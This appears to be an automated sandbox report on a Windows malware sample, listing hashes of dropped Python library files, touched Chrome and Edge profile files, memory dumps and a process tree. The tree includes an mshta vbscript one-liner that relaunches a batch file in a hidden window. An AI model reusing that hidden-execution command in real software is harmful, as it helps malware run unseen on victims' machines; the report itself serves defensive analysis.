| SHA1 | 9a344d2138f6eb9edd2a6d175e9171d41b9ed79a |
| SHA256 | 86688baf3ee821608fa7a3abe1597f8544f0261a961243d399bb33064a26b5dd |
| SHA512 | 7fc3a915ee6b2bc1a8ab3996976097d6cba8757e0a898630a0244d3bec2b40950763fb0c4c37094db550306e4bdd927c488969b02349fda4d6d189924372cea3 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\enum.py
| MD5 | f87cac79ab835bac55991134e9c64a35 |
| SHA1 | 63d509bf705342a967cdd1af116fe2e18cd9346f |
| SHA256 | 303afea74d4a1675a48c6a8d7c4764da68dbef1092dc440e4bf3c901f8155609 |
| SHA512 | 9a087073e285f0f19ab210eceefb9e2284fffd87c273413e66575491023a8dcb4295b7c25388f1c2e8e16a74d3b3bff13ec725be75dc827541e68364e3a95a6d |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\re.py
| MD5 | f04d4a880157a5a39bbafc0073b8b222 |
| SHA1 | 92515b53ee029b88b517c1f2f26f6d022561f9b4 |
| SHA256 | 5ae8929f8c0fb9a0f31520d0a909e5637d86c6debb7c0b8cbacc710c721f9f7d |
| SHA512 | 556aaacfc4237b8ab611922e2052407a6be98a7fb6e36e8d3ed14412b22e50abac617477f53acfa99dba1824b379c86376991739d68749eb5f162e020e7999cb |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\types.cpython-310.pyc
| MD5 | 2d99472eeb6d03f66827b833412465d9 |
| SHA1 | 621c795de49f6d7a86aeaa68ee5351d9b7378726 |
| SHA256 | f985d1f979d5c09dee9f6981ae51d6f784a86739f6bb31e295882d536303c898 |
| SHA512 | 26baedbccf9f10d080897ce9aa3db4de0a552f82527f996214b69eb9674a069087fb2bd07640a6349618a19b9ddb058e18bd2418ff01a0c567668bb49c74922a |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\types.py
| MD5 | c58c7a4ee7e383be91cd75264d67b13b |
| SHA1 | 60914b6f1022249cd5d0cf8caa7adb4dcf34c9ea |
| SHA256 | 0d3a1a2f8f0e286ad9eadbb397af0c2dc4bef0c71a7ebe4b51ded9862a301b01 |
| SHA512 | 9450e434c0d4abb93fa4ca2049626c05f65d4fb796d17ac5e504b8ec086abec00dcdc54319c1097d20e6e1eec82529993482e37a0bf9675328421f1fa073bf04 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\sre_compile.cpython-310.pyc
| MD5 | 26391239122a61845819ae498cfb5ede |
| SHA1 | 745b887f93a9a7805daf8cb604cba7713584bc60 |
| SHA256 | 6b61e840165345e81f5e1f2f99f9bc9739c0ee610d79c2f7ea0a9949f023390d |
| SHA512 | 757f78dc76e9ca02c40f81a17d91e1af616b0ca48ac26eceb683eb9dbf74ec12a71321b04f1d4777aafdc4f3be13c9cf8c7248e5ff7ed22cda2ea708726a2971 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\sre_parse.cpython-310.pyc
| MD5 | ae52c0848bda7c5a3c99d5594220a040 |
| SHA1 | 3e12116e5296c3363896d564bcff8e0a37fd4328 |
| SHA256 | 2da80b594bdb3d6621b3dd9bc4a85482788d62eb73d05968d007daec4346000d |
| SHA512 | dcc357dc201c18465cb5ad25f018c0ee1ad18952757f5de33e4385dc243e3033f98bd3908cba08bf06ad323cd899e5479fed96ba6eede8dca987d9492393afff |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\sre_parse.py
| MD5 | d1af43b8e4f286625a0144373cf0de28 |
| SHA1 | 7fbd019519c5223d67311e51150595022d95fe86 |
| SHA256 | c029a310e36013abc15610ff09a1e31d9fb1a0e4c60293150722c08fc9e7b090 |
| SHA512 | 75ab3b5a2aad2ac44ab63028982a94bb718aaf6c67f6b59a8edc8c2c49287dd16667923e1889c68404053d61df742864a6e85545bbfb17624a5844bb049767f9 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\sre_constants.cpython-310.pyc
| MD5 | dedef293d6f61df5dce1a210068d4b9c |
| SHA1 | 786d647fd01ac5edec4bf223c82e469748e692cb |
| SHA256 | dd53842a725d5d5c73353541c8b18712dff626fbcfb2512a88f41eb03477891d |
| SHA512 | 8cbe206c84f178d188a7328d2479c911d814cc7e3bb0127afed39dce77524863c19d5222b4103798f18310fd4ea22f3eabf2c38039369bbca25c61c2502a4ec2 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\__pycache__\functools.cpython-310.pyc
| MD5 | e58ac123e589a971f23ebb228840e6c5 |
| SHA1 | b55a5969a724b7f49983724d44c36720d02ac52d |
| SHA256 | a5892e06a01a95ed301392dc417afbc3f70772cc13b8bf22e56059cda79e0acc |
| SHA512 | bae1e4ca32931404981b005dc4d9c1ef212a36be74a7b2ff29de9efd3f70df0547026f0abee1e171815314e2b30119e0372bfafa09b4faef05b645c414f231a9 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\functools.py
| MD5 | e451c9675e4233de278acf700ac7395f |
| SHA1 | 1e7d4c5db5fc692540c31e1b4db4679051eb5df8 |
| SHA256 | b4698d03b4d366f2b032f5de66b8181ed8e371c0d7d714b7672432e18d80636b |
| SHA512 | 4db40159db7427ce05d36aa3a6b05151742e6c122dfbdc679c10dcc667fc999ff1302bb2e2be6f58b895911cf436b27ad78fd64ccf077deb94046667520111b9 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\sre_constants.py
| MD5 | bca79743254aa4bc94dace167a8b0871 |
| SHA1 | d1da34fbe097f054c773ff8040d2e3852c3d77f1 |
| SHA256 | 513373cde5987d794dc429f7c71a550fe49e274bf82d0856bec40dca4079dadc |
| SHA512 | 1c0ab3ce7b24acd2ffbd39a9d4bf343aa670525465b265a6572bdec2036b1a72aaafe07afe63a21246456427f10be519aeee9fc707cbb0151ac1e180239ad2af |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\sre_compile.py
| MD5 | f09eb9e5e797b7b1b4907818fef9b165 |
| SHA1 | 8f9e2bc760c7a2245cae4628caecdf1ada35f46d |
| SHA256 | cdb9bdcab7a6fa98f45ef47d3745ac86725a89c5baf80771f0451d90058a21d6 |
| SHA512 | e71fb7b290bb46aee4237dbf7ff4adc2f4491b1fc1c48bd414f5ce376d818564fd37b6113997a630393d9342179fcb7ce0462d6aad5115e944f8c0ccab1fa503 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\collections\__init__.py
| MD5 | 4f8c270f0ffe58f5c0bf455403ef3f44 |
| SHA1 | 8c0de07c711cd9486a3ff0d2fc8a5cd4c13ae01a |
| SHA256 | 2e5f3a5a7de17bc2b2e749f0d2a1387de2280a0824856360a041b2ca75e77194 |
| SHA512 | 418971a91d03756a0b2790286f67135ee386aaa0817932130ddba8b68de601d5e29a3dccef1d965bae22e66606c0a3132d179abec7e9296b715e1aad1e6bdfac |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\lib\collections\__pycache__\__init__.cpython-310.pyc
| MD5 | 714288792cb968f2d935c19ddd954df3 |
| SHA1 | bdc906d7cd77251d718ea309cc8f7a57f4417490 |
| SHA256 | 84f4c2c9d3aee059fa4363ae9271c1ec8dc301988ff6901322c2ad598f676f55 |
| SHA512 | dea7a93e798593475ee5f31f4b4646408c72ffcc1760343d720638daf13a3b0d783be05bf12b15c389c9b5cc6a7134d2b27dc7150e2d1119e0be9141b86fbb01 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
| MD5 | d751713988987e9331980363e24189ce |
| SHA1 | 97d170e1550eee4afc0af065b78cda302a97674c |
| SHA256 | 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945 |
| SHA512 | b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | 36988ca14952e1848e81a959880ea217 |
| SHA1 | a0482ef725657760502c2d1a5abe0bb37aebaadb |
| SHA256 | d7e96088b37cec1bde202ae8ec2d2f3c3aafc368b6ebd91b3e2985846facf2e6 |
| SHA512 | d04b2f5afec92eb3d9f9cdc148a3eddd1b615e0dfb270566a7969576f50881d1f8572bccb8b9fd7993724bdfe36fc7633a33381d43e0b96c4e9bbd53fc010173 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | fab8d8d865e33fe195732aa7dcb91c30 |
| SHA1 | 2637e832f38acc70af3e511f5eba80fbd7461f2c |
| SHA256 | 1b034ffe38e534e2b7a21be7c1f207ff84a1d5f3893207d0b4bb1a509b4185ea |
| SHA512 | 39a3d43ef7e28fea2cb247a5d09576a4904a43680db8c32139f22a03d80f6ede98708a2452f3f82232b868501340f79c0b3f810f597bcaf5267c3ccfb1704b43 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | 1f1a2da43356330114701db3bb566b5a |
| SHA1 | 40b3a0b525aa0424644c1d98184acce0106ebb21 |
| SHA256 | 8f7b06e861bb5a469e450bbe2a441c4e899de8bcdf06d10350571082e8da41de |
| SHA512 | bb6fb1ee650fa660c786d39ba8a5e4fe3320e1851e493e9da183a41d26050f803f008088836aac3d299d20d218a2cdbf6619491c8cade1072952b92bf7998324 |
memory/4816-12471-0x00000000052C0000-0x00000000052D1000-memory.dmp
memory/4816-12472-0x0000000007BC0000-0x0000000007BD0000-memory.dmp
memory/4816-12473-0x0000000007CA0000-0x0000000007D3C000-memory.dmp
memory/4816-12474-0x00000000084E0000-0x0000000008A84000-memory.dmp
memory/4816-12475-0x0000000007FA0000-0x0000000008006000-memory.dmp
memory/4816-12476-0x00000000081B0000-0x0000000008242000-memory.dmp
memory/4816-12477-0x00000000084C0000-0x00000000084CA000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-14 03:09
Reported
2024-11-14 03:11
Platform
win7-20240903-en
Max time kernel
118s
Max time network
120s
Command Line
Signatures
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\system32\mshta.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat"
C:\Windows\system32\chcp.com
chcp 65001
C:\Windows\system32\mshta.exe
mshta vbscript:createobject("wscript.shell").run("""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT"" ::",0)(window.close)
C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT" ::"
C:\Windows\system32\chcp.com
chcp 65001